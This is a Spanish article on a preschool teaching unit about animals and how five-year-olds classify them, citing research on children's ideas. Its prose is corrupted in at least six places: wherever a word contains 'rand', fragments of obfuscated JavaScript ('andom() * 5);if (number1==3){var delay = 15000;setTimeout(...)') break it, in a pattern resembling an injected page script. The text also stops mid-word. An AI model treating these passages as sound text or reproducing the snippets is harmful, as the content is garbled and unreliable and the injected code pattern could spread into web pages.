¿QUÉ ANIMALES CONOCEMOS?

Autora: María José Castilla Montesinos.


Los animales son seres vivos, al mismo tiempo próximos y lejanos a los escolares. Pueden tener contacto con ellos en su entorno, visitarlos en un zoo e incluso conocerlos mediante películas infantiles. De este modo pueden ser consciente de algunas de las características, pero hay diversos aspectos o contenidos que están fuera de su conocimiento y sin embargo despiertan la curiosidad de los alumnos/as por conocerlos ¿Por qué no aprovechar esa curiosidad?

 

Introducción.

La unidad didáctica que hemos desarrollado para un proyecto investigativo con los alumnos del tercer nivel de educación infantil (5 años) alude a los contenidos sobre los animales y su clasificación, trabajandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando los contenidos desde un lenguaje científico adaptado al nivel madurativo de los alumnos y relacionándolo con su entorno, ya que a estas edades comienzan a surgir ideas alternativas muy arraigadas, como el utilizar una nomenclatura cotidiana para nombrar a todos los animales pequeños como “bichos” (Urones, 2008).  Se desarrolló bajo un planteamiento investigativo y teniendo en cuenta la evolución de las ideas de los alumnos.

Antecedentes del trabajo de los animales en Educación Infantil.

Antes de comenzar a programar las actividades que lleva reunida la propuesta didáctica debemos conocer las concepciones de los niños hacia las animales, que aspectos influyen en su aprendizaje, etc a través de los resultados de otras investigaciones que se han planteado el trabajar esta temática anteriormente.

En los escolares de Educación Infantil sucede que tienen concepciones  que están fuertemente influenciadas por el significado que en el ámbito cotidiano se atribuye a la palabra animal, asociado a los grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andes mamíferos terrestres, como los que puede haber en una granja, en un zoo o en una casa

(Bell, 1981).

En el aprendizaje de los alumnos también está presente la influencia de películas, documentales, etc, es decir, transmitidas a través de los medios de comunicación. Por este motivo podría explicarse que los alumnos/as no tengan problemas para poner ejemplos de animales, los más citados fueron los mamíferos terrestres. En esta línea resulta curioso que al nombrar ejemplo de este tipo de animal, comiencen por los de la selva para seguir con otros más cercanos y familiares como son por ejemplo los animales domésticos (Peraíta, 1988).

Los escolares a edades tempranas no consideran que las personas sean animales. Las razones que dan para ser animal puede ser el número de patas, tamaño (tienen que ser grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andes), hábitat, pelaje o piel externa y emisión de ruidos. Otras investigaciones en el ámbito de la educación infantil comprobaron que para los niños de estas edades, las características más importante del ser vivo, además del movimiento y la alimentación, eran las partes más visibles del cuerpo, el tamaño, el hábitat y tener padres (Garrido, 2007).

Una nueva perspectiva de trabajar los animales.

Al elaborar la unidad didáctica tuvimos en cuenta los objetivos y contenidos que se exponen para ese centro de interés en la legislación vigente y nos  basamos en el diseño de Cañal (2008), planteándonos unas series de preguntas que se fueron respondiendo según se trabajaba en el proyecto. La unidad didáctica se organiza alrededor de una pregunta de investigación  con unas subpreguntas adaptada al nivel de los escolares. Fueron planteadas por los docentes, ya que nuestros alumnos por su edad no tienen la capacidad de formular preguntas que se relacionen con un tema concreto sin desviarse a contenidos desvinculados. Se colocó un mural en clase con las preguntas que fuimos rellenandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando según trabajamos las características.

En definitiva de lo que se trata, como expone Merchán y García (1994, p.190) es de:

Partir de cuestiones o problemas que puedan ser asumidos como tales por el alumno, es decir, que puedan ser objeto de estudio que le interesen, estimulen su curiosidad, activen su motivación y desencadenen un proceso que desemboque en la construcción de nuevos conocimientos.

Destacar que al proponer el desarrollo de la misma tuvimos en cuenta aquellos conceptos que el profesor tiene que conocer y saber utilizar para llevar a cabo la unidad didáctica.

Antes de comenzar el desarrollo de la misma hemos tenido en cuenta el nivel académico y madurativo de los escolares, así como dar constancia a los padres de lo que íbamos a trabajar. Informándoles de que en algunas de las actividades íbamos a necesitar de su colaboración.

La unidad didáctica estaba planteada para desarrollar una metodología investigativa o trabajo por proyectos, es decir el tema parte de una realidad cercana y de interés para los escolares, formulandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando un conjunto de preguntas que conllevan a un proceso de búsqueda e indagación que dirigen a los alumnos/as a la construcción de nuevos aprendizajes resolviendo los problemas planteados desarrollandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ando, a su vez, una actitud crítica. Así, compartimos con Pozuelos (2007, p.22) que:

Participación, interés, motivación e implicación intelectual son descriptores que se le suele asignar al alumnado que trabaja en el aula con proyectos. Se rompe con esa pasividad propia de los otros modelos del código disciplinar en los que el alumnado recorre distintas actividades y conocimientos deshilvanados unos de los otros, sin un hilo conductor y sin tener claro qué relación existe entre ellos y en qué medida les afecta para su vida y su formación como adultos y jóvenes que viven en una sociedad y realidad que precisan conocer, comprender y transformar.

La metodología en la que se basó la intervención en el aula partió de los principios metodológicos recogidos en el Decreto 4/2008, de 11 de enero, por el que se aprueba el Currículo de Educación Infantil para la Comunidad Autónoma de Extremadura.

Utilizamos la metodología constructivista, valor